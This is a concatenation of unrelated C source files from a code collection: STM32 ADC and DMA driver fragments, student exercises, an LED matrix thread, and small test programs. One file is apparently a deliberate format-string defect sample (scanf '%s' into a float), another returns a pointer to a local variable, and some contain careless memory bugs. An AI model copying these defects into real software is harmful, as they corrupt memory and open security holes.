/* Disable the temperature sensor and Vrefint channel*/
ADC1->CR2 &= CR2_TSVREFE_Reset;
}
}
/**
* @brief Checks whether the specified ADC flag is set or not.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param ADC_FLAG: specifies the flag to check.
* This parameter can be one of the following values:
* @arg ADC_FLAG_AWD: Analog watchdog flag
* @arg ADC_FLAG_EOC: End of conversion flag
* @arg ADC_FLAG_JEOC: End of injected group conversion flag
* @arg ADC_FLAG_JSTRT: Start of injected group conversion flag
* @arg ADC_FLAG_STRT: Start of regular group conversion flag
* @retval The new state of ADC_FLAG (SET or RESET).
*/
FlagStatus ADC_GetFlagStatus(ADC_TypeDef* ADCx, uint8_t ADC_FLAG)
{
FlagStatus bitstatus = RESET;
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_ADC_GET_FLAG(ADC_FLAG));
/* Check the status of the specified ADC flag */
if ((ADCx->SR & ADC_FLAG) != (uint8_t)RESET)
{
/* ADC_FLAG is set */
bitstatus = SET;
}
else
{
/* ADC_FLAG is reset */
bitstatus = RESET;
}
/* Return the ADC_FLAG status */
return bitstatus;
}
/**
* @brief Clears the ADCx's pending flags.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param ADC_FLAG: specifies the flag to clear.
* This parameter can be any combination of the following values:
* @arg ADC_FLAG_AWD: Analog watchdog flag
* @arg ADC_FLAG_EOC: End of conversion flag
* @arg ADC_FLAG_JEOC: End of injected group conversion flag
* @arg ADC_FLAG_JSTRT: Start of injected group conversion flag
* @arg ADC_FLAG_STRT: Start of regular group conversion flag
* @retval None
*/
void ADC_ClearFlag(ADC_TypeDef* ADCx, uint8_t ADC_FLAG)
{
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_ADC_CLEAR_FLAG(ADC_FLAG));
/* Clear the selected ADC flags */
ADCx->SR = ~(uint32_t)ADC_FLAG;
}
/**
* @brief Checks whether the specified ADC interrupt has occurred or not.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param ADC_IT: specifies the ADC interrupt source to check.
* This parameter can be one of the following values:
* @arg ADC_IT_EOC: End of conversion interrupt mask
* @arg ADC_IT_AWD: Analog watchdog interrupt mask
* @arg ADC_IT_JEOC: End of injected conversion interrupt mask
* @retval The new state of ADC_IT (SET or RESET).
*/
ITStatus ADC_GetITStatus(ADC_TypeDef* ADCx, uint16_t ADC_IT)
{
ITStatus bitstatus = RESET;
uint32_t itmask = 0, enablestatus = 0;
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_ADC_GET_IT(ADC_IT));
/* Get the ADC IT index */
itmask = ADC_IT >> 8;
/* Get the ADC_IT enable bit status */
enablestatus = (ADCx->CR1 & (uint8_t)ADC_IT) ;
/* Check the status of the specified ADC interrupt */
if (((ADCx->SR & itmask) != (uint32_t)RESET) && enablestatus)
{
/* ADC_IT is set */
bitstatus = SET;
}
else
{
/* ADC_IT is reset */
bitstatus = RESET;
}
/* Return the ADC_IT status */
return bitstatus;
}
/**
* @brief Clears the ADCx's interrupt pending bits.
* @param ADCx: where x can be 1, 2 or 3 to select the ADC peripheral.
* @param ADC_IT: specifies the ADC interrupt pending bit to clear.
* This parameter can be any combination of the following values:
* @arg ADC_IT_EOC: End of conversion interrupt mask
* @arg ADC_IT_AWD: Analog watchdog interrupt mask
* @arg ADC_IT_JEOC: End of injected conversion interrupt mask
* @retval None
*/
void ADC_ClearITPendingBit(ADC_TypeDef* ADCx, uint16_t ADC_IT)
{
uint8_t itmask = 0;
/* Check the parameters */
assert_param(IS_ADC_ALL_PERIPH(ADCx));
assert_param(IS_ADC_IT(ADC_IT));
/* Get the ADC IT index */
itmask = (uint8_t)(ADC_IT >> 8);
/* Clear the selected ADC interrupt pending bits */
ADCx->SR = ~(uint32_t)itmask;
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
/******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE****/
#endif
|
the_stack_data/148577461.c | //Classification: #format_error/n/IVO/FM/aS/scanf/string/float
//Written by: Igor Eremeev
//Reviewed by: Sergey Pomelov
//Comment:
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
float c;
scanf ("%s", &c);
printf ("%f", c);
return 0;
}
|
the_stack_data/21507.c | //Program to find Factorial of a number using RECURSION
#include <stdio.h>
int factorial(int num);
int main(){
int number,ans;
printf("Enter the number whose factorial is to be found: ");
scanf("%d",&number);
ans=factorial(number);
printf("The factorial is: %d\n",ans);
}
//Finding the factorial using recursive funtion
int factorial(int num){
if(num==0)
return 1;
else
return num*factorial(num-1);
} |
the_stack_data/190767762.c |
#include <stdio.h>
#define M 3
#define N 4
void transpose(int A[][N], int B[][M])
{
int i, j;
for (i = 0; i < N; i++)
for (j = 0; j < M; j++)
B[i][j] = A[j][i];
printf("Result matrix is \n");
for (i = 0; i < N; i++)
{
for (j = 0; j < M; j++)
printf("%d ", B[i][j]);
printf("\n");
}
return 0;
}
int main()
{
int A[M][N] = { {1, 1, 1, 1},
{2, 2, 2, 2},
{3, 3, 3, 3}};
int B[N][M], i, j;
transpose(A, B);
}
|
the_stack_data/98575408.c | #include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <md5.h>
const unsigned char data[] = "1234567890abcdefghijklmnopqrstuvwxyz";
int
main(int argc, char **argv)
{
MD5_CTX ctx;
char ret[10];
MD5Init(&ctx);
MD5Data(data, sizeof data - 1, ret);
printf("%s\n", ret);
}
|
the_stack_data/556018.c | /* --------------------------------------------------------------------
Matrix LED
We count until the program exit
---------------------------------------------------------------------*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <ctype.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <termios.h>
#include <pthread.h>
#define MATRIX_DRIVER_NAME "/dev/cnmled"
#define MAX_COLUMN_NUM 5
// 0 ~ 9
const unsigned short NumData[10][MAX_COLUMN_NUM]=
{
{0xfe00,0xfd7F,0xfb41,0xf77F,0xef00}, // 0
{0xfe00,0xfd42,0xfb7F,0xf740,0xef00}, // 1
{0xfe00,0xfd79,0xfb49,0xf74F,0xef00}, // 2
{0xfe00,0xfd49,0xfb49,0xf77F,0xef00}, // 3
{0xfe00,0xfd0F,0xfb08,0xf77F,0xef00}, // 4
{0xfe00,0xfd4F,0xfb49,0xf779,0xef00}, // 5
{0xfe00,0xfd7F,0xfb49,0xf779,0xef00}, // 6
{0xfe00,0xfd07,0xfb01,0xf77F,0xef00}, // 7
{0xfe00,0xfd7F,0xfb49,0xf77F,0xef00}, // 8
{0xfe00,0xfd4F,0xfb49,0xf77F,0xef00} // 9
};
static struct termios oldt, newt;
void changemode(int dir)
{
if( dir == 1)
{
tcgetattr(STDIN_FILENO , &oldt);
newt = oldt;
newt.c_lflag &= ~(ICANON | ECHO );
tcsetattr(STDIN_FILENO, TCSANOW, &newt);
}
else
{
tcsetattr(STDIN_FILENO , TCSANOW, &oldt);
}
}
int kbhit(void)
{
struct timeval tv;
fd_set rdfs;
tv.tv_sec = 0;
tv.tv_usec = 0;
FD_ZERO(&rdfs);
FD_SET(STDIN_FILENO , &rdfs);
select(STDIN_FILENO + 1 , &rdfs , NULL, NULL, &tv);
return FD_ISSET(STDIN_FILENO , &rdfs);
}
#define ONE_LINE_TIME_U 1000
// exit return => 0 , success return => 1
int displayDotLed(int driverfile , int num ,int timeS)
{
int cSelCounter,loopCounter;
int highChar , lowChar;
int temp , totalCount ;
unsigned short wdata[2];
temp = num % 100;
highChar = temp / 10;
lowChar = temp % 10;
totalCount = timeS*(1000000 / ONE_LINE_TIME_U);
printf("totalcounter: %d\n",totalCount);
cSelCounter = 0;
loopCounter = 0;
while(1)
{
// high byte display
wdata[0] = NumData[highChar][cSelCounter];
// low byte display
wdata[1] = NumData[lowChar][cSelCounter];
write(driverfile,(unsigned char*)wdata,4);
cSelCounter++;
if ( cSelCounter >= (MAX_COLUMN_NUM-1))
cSelCounter = 1;
usleep(ONE_LINE_TIME_U);
loopCounter++;
if ( loopCounter > totalCount )
break;
if (kbhit())
{
if ( getchar() == (int)'q')
{
wdata[0]= 0;
wdata[1]= 0;
write(driverfile,(unsigned char*)wdata,4);
printf("Exit mledtest\n");
return 0;
}
}
}
wdata[0]= 0;
wdata[1]= 0;
write(driverfile,(unsigned char*)wdata,4);
return 1;
}
extern pthread_mutex_t mtx;
extern int level;
void* matrix_led()
{
int durationTime ,Num ;
int fd;
int counterFlag = 1;
int counter;
durationTime = 1;
Num = 0;
changemode(1);
// open driver
fd = open(MATRIX_DRIVER_NAME,O_RDWR);
if (fd < 0) {
perror("driver open error.\n");
exit(1);
}
// when the level is 6, break the loop
while(level!=6) {
pthread_mutex_lock(&mtx);
if(!displayDotLed(fd , Num++ ,durationTime))
break;
pthread_mutex_unlock(&mtx);
}
changemode(0);
close(fd);
return;
}
|
the_stack_data/248579672.c | // Thread-graph construction test
//# Deadlock: false
//# Thread-graph:
//# - main -> thread1
//# - main -> thread2
#include <pthread.h>
#include <stdio.h>
#include <unistd.h>
pthread_mutex_t lock1 = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t lock2 = PTHREAD_MUTEX_INITIALIZER;
void *thread1(void *v)
{
return NULL;
}
void *thread2(void *v)
{
return NULL;
}
void f()
{
pthread_t threads[2];
pthread_create(&threads[0], NULL, thread1, NULL);
pthread_create(&threads[1], NULL, thread2, NULL);
pthread_join(threads[0], NULL);
pthread_join(threads[1], NULL);
}
int main()
{
f();
return 0;
}
|
the_stack_data/103264550.c | #include <stdio.h>
int main()
{
int n = 4;
for (int i = 0; i <= n; i++) {
for (int j = 0; j <= n - i; j++)
printf("%c ", n - j + i + 65);
printf("\n");
}
return 0;
} |
the_stack_data/137272.c | /*
* Copyright (c) 2017, 2018, Oracle and/or its affiliates.
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <string.h>
#include <stdio.h>
int main() {
char str1[] = "aaXaa";
char str2[] = "aaYaa";
printf("%d\n", strncmp(str1, str2, 6));
printf("%d\n", strncmp(str2, str1, 6));
strcpy(str2, str1);
printf("%d\n", strncmp(str2, str1, 6));
printf("%d\n", strncmp(str1, str2, 6));
}
|
the_stack_data/18085.c | #include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main(int argc, char *argv[])
{
if (argc != 2)
{
printf("Usage: ./recover card.raw");
return 1;
}
//Open file for reading
FILE *input_file = fopen(argv[1], "r");
//if check Input_file pointer fail to open then REturn error code "Could not open file"
if (input_file == NULL)
{
printf("Could not open file");
return 2;
}
//declare a variable to unsigned char to store 512 chunks array
unsigned char buffer[512];
//for the purpose of counting of image later in the loop
int count_image = 0;
//An uninitialize file pointer to use to output data gotten from input file
FILE *output_file = NULL;
char *filename = malloc(8 * sizeof(char));
//char filename[8];
/*Read 512 bytes from input_file and store on the buffer*/
while (fread(buffer, sizeof(char), 512, input_file))
{
//check if bytes is start of a JPEG
if (buffer[0] == 0xff && buffer[1] == 0xd8 && buffer[2] == 0xff && (buffer[3] & 0xf0) == 0xe0)
{
//write jpeg into file name in form 001.jpg, 002.jpg and so on
sprintf(filename, "%03i.jpg", count_image);
//open Out_file for writing
output_file = fopen(filename, "w");
//fwrite(buffer, sizeof(buffer), 1, output_file);
//count number of image found
count_image++;
}
//Check if output have been used for valid input
if (output_file != NULL)
{
fwrite(buffer, sizeof(char), 512, output_file);
}
}
free(filename);
fclose(output_file);
fclose(input_file);
return 0;
}
|
the_stack_data/100139830.c | /* $OpenBSD: uthread_wait4.c,v 1.7 2001/11/09 00:20:26 marc Exp $ */
/*
* Copyright (c) 1995-1998 John Birrell <[email protected]>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by John Birrell.
* 4. Neither the name of the author nor the names of any co-contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY JOHN BIRRELL AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD: uthread_wait4.c,v 1.5 1999/08/28 00:03:53 peter Exp $
*/
#include <errno.h>
#include <sys/wait.h>
#ifdef _THREAD_SAFE
#include <pthread.h>
#include "pthread_private.h"
/*
* Note: a thread calling wait4 may have its state changed to waiting
* until awakened by a signal. Also note that system(3), for example,
* blocks SIGCHLD and calls waitpid (which calls wait4). If the process
* started by system(3) doesn't finish before this function is called the
* function will never awaken -- system(3) also ignores SIGINT and SIGQUIT.
*
* Thus always unmask SIGCHLD here.
*/
pid_t
wait4(pid_t pid, int *istat, int options, struct rusage * rusage)
{
struct pthread *curthread = _get_curthread();
pid_t ret;
sigset_t mask, omask;
/* This is a cancellation point: */
_thread_enter_cancellation_point();
_thread_kern_sig_defer();
sigemptyset(&mask);
sigaddset(&mask, SIGCHLD);
sigprocmask(SIG_UNBLOCK, &mask, &omask);
/* Perform a non-blocking wait4 syscall: */
while ((ret = _thread_sys_wait4(pid, istat, options | WNOHANG, rusage)) == 0 && (options & WNOHANG) == 0) {
/* Reset the interrupted operation flag: */
curthread->interrupted = 0;
/* Schedule the next thread while this one waits: */
_thread_kern_sched_state(PS_WAIT_WAIT, __FILE__, __LINE__);
/* Check if this call was interrupted by a signal: */
if (curthread->interrupted) {
errno = EINTR;
ret = -1;
break;
}
}
sigprocmask(SIG_SETMASK, &omask, NULL);
_thread_kern_sig_undefer();
/* No longer in a cancellation point: */
_thread_leave_cancellation_point();
return (ret);
}
#endif
|
the_stack_data/110534.c | #include <stdio.h>
// from libcommon:
extern const char* get_version_info();
extern const char* get_os_name();
void print_A_banner()
{
printf("library A, version %s running on %s\n", get_version_info(), get_os_name());
}
|
the_stack_data/14201463.c | #include <stdio.h>
#include<stdlib.h>
struct Node{
char c;
struct Node* next;
};
struct Node* head=NULL;
struct Node* tail=NULL;
void insert(char);
char delete(struct Node*, int);
void lower(char arr[]);
int main(){
int count=0, i, j = 0;
insert('f'); //inserting "flames" for crossing X
insert('l');
insert('a');
insert('m');
insert('e');
insert('s');
char you[30]; char crush[20];
char arr[26]={0}; //for hashing
printf("Enter Your Name: ");
scanf("%[^\n]s",you);
printf("Enter Your Crush Name: ");
scanf("\n%[^\n]s",crush);
lower(you); lower(crush);
for(i=0;you[i]!='\0';i++){
arr[you[i]-97] +=1; //storing the count of letter in hash
}
for(i=0;crush[i]!='\0';i++){
if(arr[crush[i]-97] != 0) //is value > 0 means already present
arr[crush[i]-97] -=1; //removing same letters in both, by decreasing hash count
else if(crush[i] >= 97 && crush[i] <= 122)
j++; //new letter present in Crush name
}
for(i=0; i<26; i++){
count += arr[i]; //counting the total characters left in Your name
}
count = count+j; //summing up letter remaining in Crush name
switch(delete(head,count)){ //calling delete by providing count
case 'f':
printf("\n ?? Friends ??");
break;
case 'l':
printf ("\n ?? Love ??");
break;
case 'a':
printf("\n?? Affection ??");
break;
case 'm':
printf("\n?? Marriage ??");
break;
case 'e':
printf("\n?? Enemy ??");
break;
case 's':
printf("\n ?? Bro/Sis ??");
break;
}
}
void lower(char arr[]){
for(int i = 0; arr[i] != '\0'; i++){
if(arr[i] >= 65 && arr[i] <= 90)
arr[i] = arr[i]+32;
}
}
void insert(char data){ //for creating circular linked list
struct Node* temp=(struct Node*)malloc(sizeof(struct Node));
temp->c=data; temp->next=NULL;
if(head==NULL){
head = temp;
tail= temp;
}
else{
tail->next = temp;
tail=temp;
tail->next = head;
}
}
char delete(struct Node* root,int count){ //this works on circular list with recursion
int i=2;
struct Node* temp=root;
if(head==tail) return head->c; //when last one chrtr remains
while(i++ < count){ //iterating to n-1 th node
temp=temp->next;
}
if(count==1){ //removing current chrtr
head=head->next;
tail->next = head;
}
else if(temp->next == head){ //if its true means, current node to be deleted is head
temp=head;
tail->next=head->next;
head=tail->next;
}
else if(temp->next==tail){ //node to be deleted is tail
tail=temp;
tail->next = head;
temp=tail;
}
else{ //deleting nodes in-between
temp->next = temp->next->next;
}
return delete(temp->next,count); //calling by giving next node address, due to flames concept with count
}
|
the_stack_data/98574780.c | int *foo(int a) {
return &a;
}
int main() {
int a = 10;
int *p = foo(10);
return foo(p);
}
|
the_stack_data/695068.c | //code time: 1hr
/*分析:
1、利用參照列表(contrastList)參照標準鍵盤上向左移動兩位的字符 &
& 作為 Key 以便後續進行索引值的對照來解密。
2、根據讀取的字元(get)逐個進行解密 &
& => {
#1、檢查字元(get)是否為「換行」符號 &
-> True: 表示該行密文解析完, 進行下一行的新一輪解密。
{ if(get == '\n') => break; }
#2、檢查字元(get)是否為「空白」符號 &
-> True: 不需要進行解析。
{ if(get == ' ') => char:decode = get; }
#3、檢查字元(get)是否在大小寫 與 指定符號的範圍內 &
& => {
##1、小寫:
通過字元原本的 ASCII十進位減掉'a' &
& 將其重新定位到 int:0 作為其新的索引值,其他小寫字符以此類推。
##2、大寫:
<< 依照題目要求,明文輸出均為小寫。
>> 因此大寫密文要先通過 'A'-'a' = 32 的差值進行 To lower case。
tip: 小寫 = 大寫 + 32
tip: 大寫 = 小寫 - 32
}
& => {
##1 小寫範圍:
{ if(get >= 97 && get <= 122) =>
char:decode = contrastListA[get-'a'];
}
##2 大寫範圍:
{ if(get >= 65 && get <= 90) {
decode = get + 32;
char:decode = contrastListA[get-'a'];
} }
##3 符號範圍:
直接根據 contrastList[n][0] 的比對 參照 contrastList[n][1] 獲取明文
}
}
*/
#include <stdio.h>
//#include <stdlib.h>
#include <string.h>
#define bool int
#define True 1
#define False 0
int main(void) {
char contrastList[6][2] = {
{ '[', 'o', },
{ ']', 'p', },
{ ';', 'k', },
{ '\'', 'l', },
{ ',', 'n', },
{ '.', 'm', },
};
char contrastListA[] = {
// 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
// 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
// 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
// 'y', 'z',
'a', 'c', 'z', 'a', 'q', 's', 'd', 'f',
'y', 'g', 'h', 'j', 'b', 'v', 'u', 'i',
'q', 'w', 's', 'e', 't', 'x', 'w', 'x',
'r', 'z',
};
char get;
char input[1000] = {};
char output[50][1000] = {};
int dataSize = 0;
scanf("%d", &dataSize);
//printf("\t\tDebug => %d\n", dataSize);
get = getchar(); //使用getchar()之前使用了scanf()必須消去殘留的\n
for (int i = 0; i < dataSize; i++) {
int index = 0;
//讀取整行字符保存到 input[]中
while ((get = getchar()) != '\n') {
input[index++] = get;
}
input[index] = '\0'; //將該字元組定義為字串
//printf("\t\tDebug => %s\n", input);
//逐個字元讀取
for (int j = 0; j < strlen(input); j++) {
get = input[j];
char decode;
//特殊處理: 換行符號
if(get == '\n') {
break;
//特殊處理: 空白符號
} else if(get == ' ') {
decode = get;
//小寫範圍
} else if(get >= 97 && get <= 122) {
//decode = get - 32; //小 - 32 = 大
decode = contrastListA[get - 'a'];
//大寫範圍
} else if(get >= 65 && get <= 90) {
decode = get + 32; //大 + 32 = 小
//printf("\t\tdebug => [%d]%c + 32 = %c\n", get, get, decode );
decode = contrastListA[decode - 'a'];
//符號範圍
} else {
for (int i = 0; i < 6; i++) {
if(get == contrastList[i][0]) {
decode = contrastList[i][1];
break;
}
}
}
//保存明文字元
output[i][j] = decode;
}
//將該字元組定義為字串
output[i][strlen(input)] = '\0';
}
//輸出結果
for (int i = 0; i < dataSize; i++) {
printf("[%d] %s\n", i, output[i]);
}
return 0;
} |
the_stack_data/112867.c | /**
******************************************************************************
* @file stm32f4xx_ll_dma.c
* @author MCD Application Team
* @brief DMA LL module driver.
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2017 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32f4xx_ll_dma.h"
#include "stm32f4xx_ll_bus.h"
#ifdef USE_FULL_ASSERT
#include "stm32_assert.h"
#else
#define assert_param(expr) ((void)0U)
#endif
/** @addtogroup STM32F4xx_LL_Driver
* @{
*/
#if defined (DMA1) || defined (DMA2)
/** @defgroup DMA_LL DMA
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/* Private macros ------------------------------------------------------------*/
/** @addtogroup DMA_LL_Private_Macros
* @{
*/
#define IS_LL_DMA_DIRECTION(__VALUE__) (((__VALUE__) == LL_DMA_DIRECTION_PERIPH_TO_MEMORY) || \
((__VALUE__) == LL_DMA_DIRECTION_MEMORY_TO_PERIPH) || \
((__VALUE__) == LL_DMA_DIRECTION_MEMORY_TO_MEMORY))
#define IS_LL_DMA_MODE(__VALUE__) (((__VALUE__) == LL_DMA_MODE_NORMAL) || \
((__VALUE__) == LL_DMA_MODE_CIRCULAR) || \
((__VALUE__) == LL_DMA_MODE_PFCTRL))
#define IS_LL_DMA_PERIPHINCMODE(__VALUE__) (((__VALUE__) == LL_DMA_PERIPH_INCREMENT) || \
((__VALUE__) == LL_DMA_PERIPH_NOINCREMENT))
#define IS_LL_DMA_MEMORYINCMODE(__VALUE__) (((__VALUE__) == LL_DMA_MEMORY_INCREMENT) || \
((__VALUE__) == LL_DMA_MEMORY_NOINCREMENT))
#define IS_LL_DMA_PERIPHDATASIZE(__VALUE__) (((__VALUE__) == LL_DMA_PDATAALIGN_BYTE) || \
((__VALUE__) == LL_DMA_PDATAALIGN_HALFWORD) || \
((__VALUE__) == LL_DMA_PDATAALIGN_WORD))
#define IS_LL_DMA_MEMORYDATASIZE(__VALUE__) (((__VALUE__) == LL_DMA_MDATAALIGN_BYTE) || \
((__VALUE__) == LL_DMA_MDATAALIGN_HALFWORD) || \
((__VALUE__) == LL_DMA_MDATAALIGN_WORD))
#define IS_LL_DMA_NBDATA(__VALUE__) ((__VALUE__) <= 0x0000FFFFU)
#define IS_LL_DMA_CHANNEL(__VALUE__) (((__VALUE__) == LL_DMA_CHANNEL_0) || \
((__VALUE__) == LL_DMA_CHANNEL_1) || \
((__VALUE__) == LL_DMA_CHANNEL_2) || \
((__VALUE__) == LL_DMA_CHANNEL_3) || \
((__VALUE__) == LL_DMA_CHANNEL_4) || \
((__VALUE__) == LL_DMA_CHANNEL_5) || \
((__VALUE__) == LL_DMA_CHANNEL_6) || \
((__VALUE__) == LL_DMA_CHANNEL_7))
#define IS_LL_DMA_PRIORITY(__VALUE__) (((__VALUE__) == LL_DMA_PRIORITY_LOW) || \
((__VALUE__) == LL_DMA_PRIORITY_MEDIUM) || \
((__VALUE__) == LL_DMA_PRIORITY_HIGH) || \
((__VALUE__) == LL_DMA_PRIORITY_VERYHIGH))
#define IS_LL_DMA_ALL_STREAM_INSTANCE(INSTANCE, STREAM) ((((INSTANCE) == DMA1) && \
(((STREAM) == LL_DMA_STREAM_0) || \
((STREAM) == LL_DMA_STREAM_1) || \
((STREAM) == LL_DMA_STREAM_2) || \
((STREAM) == LL_DMA_STREAM_3) || \
((STREAM) == LL_DMA_STREAM_4) || \
((STREAM) == LL_DMA_STREAM_5) || \
((STREAM) == LL_DMA_STREAM_6) || \
((STREAM) == LL_DMA_STREAM_7) || \
((STREAM) == LL_DMA_STREAM_ALL))) ||\
(((INSTANCE) == DMA2) && \
(((STREAM) == LL_DMA_STREAM_0) || \
((STREAM) == LL_DMA_STREAM_1) || \
((STREAM) == LL_DMA_STREAM_2) || \
((STREAM) == LL_DMA_STREAM_3) || \
((STREAM) == LL_DMA_STREAM_4) || \
((STREAM) == LL_DMA_STREAM_5) || \
((STREAM) == LL_DMA_STREAM_6) || \
((STREAM) == LL_DMA_STREAM_7) || \
((STREAM) == LL_DMA_STREAM_ALL))))
#define IS_LL_DMA_FIFO_MODE_STATE(STATE) (((STATE) == LL_DMA_FIFOMODE_DISABLE ) || \
((STATE) == LL_DMA_FIFOMODE_ENABLE))
#define IS_LL_DMA_FIFO_THRESHOLD(THRESHOLD) (((THRESHOLD) == LL_DMA_FIFOTHRESHOLD_1_4) || \
((THRESHOLD) == LL_DMA_FIFOTHRESHOLD_1_2) || \
((THRESHOLD) == LL_DMA_FIFOTHRESHOLD_3_4) || \
((THRESHOLD) == LL_DMA_FIFOTHRESHOLD_FULL))
#define IS_LL_DMA_MEMORY_BURST(BURST) (((BURST) == LL_DMA_MBURST_SINGLE) || \
((BURST) == LL_DMA_MBURST_INC4) || \
((BURST) == LL_DMA_MBURST_INC8) || \
((BURST) == LL_DMA_MBURST_INC16))
#define IS_LL_DMA_PERIPHERAL_BURST(BURST) (((BURST) == LL_DMA_PBURST_SINGLE) || \
((BURST) == LL_DMA_PBURST_INC4) || \
((BURST) == LL_DMA_PBURST_INC8) || \
((BURST) == LL_DMA_PBURST_INC16))
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup DMA_LL_Exported_Functions
* @{
*/
/** @addtogroup DMA_LL_EF_Init
* @{
*/
/**
* @brief De-initialize the DMA registers to their default reset values.
* @param DMAx DMAx Instance
* @param Stream This parameter can be one of the following values:
* @arg @ref LL_DMA_STREAM_0
* @arg @ref LL_DMA_STREAM_1
* @arg @ref LL_DMA_STREAM_2
* @arg @ref LL_DMA_STREAM_3
* @arg @ref LL_DMA_STREAM_4
* @arg @ref LL_DMA_STREAM_5
* @arg @ref LL_DMA_STREAM_6
* @arg @ref LL_DMA_STREAM_7
* @arg @ref LL_DMA_STREAM_ALL
* @retval An ErrorStatus enumeration value:
* - SUCCESS: DMA registers are de-initialized
* - ERROR: DMA registers are not de-initialized
*/
uint32_t LL_DMA_DeInit(DMA_TypeDef *DMAx, uint32_t Stream)
{
DMA_Stream_TypeDef *tmp = (DMA_Stream_TypeDef *)DMA1_Stream0;
ErrorStatus status = SUCCESS;
/* Check the DMA Instance DMAx and Stream parameters*/
assert_param(IS_LL_DMA_ALL_STREAM_INSTANCE(DMAx, Stream));
if (Stream == LL_DMA_STREAM_ALL)
{
if (DMAx == DMA1)
{
/* Force reset of DMA clock */
LL_AHB1_GRP1_ForceReset(LL_AHB1_GRP1_PERIPH_DMA1);
/* Release reset of DMA clock */
LL_AHB1_GRP1_ReleaseReset(LL_AHB1_GRP1_PERIPH_DMA1);
}
else if (DMAx == DMA2)
{
/* Force reset of DMA clock */
LL_AHB1_GRP1_ForceReset(LL_AHB1_GRP1_PERIPH_DMA2);
/* Release reset of DMA clock */
LL_AHB1_GRP1_ReleaseReset(LL_AHB1_GRP1_PERIPH_DMA2);
}
else
{
status = ERROR;
}
}
else
{
/* Disable the selected Stream */
LL_DMA_DisableStream(DMAx,Stream);
/* Get the DMA Stream Instance */
tmp = (DMA_Stream_TypeDef *)(__LL_DMA_GET_STREAM_INSTANCE(DMAx, Stream));
/* Reset DMAx_Streamy configuration register */
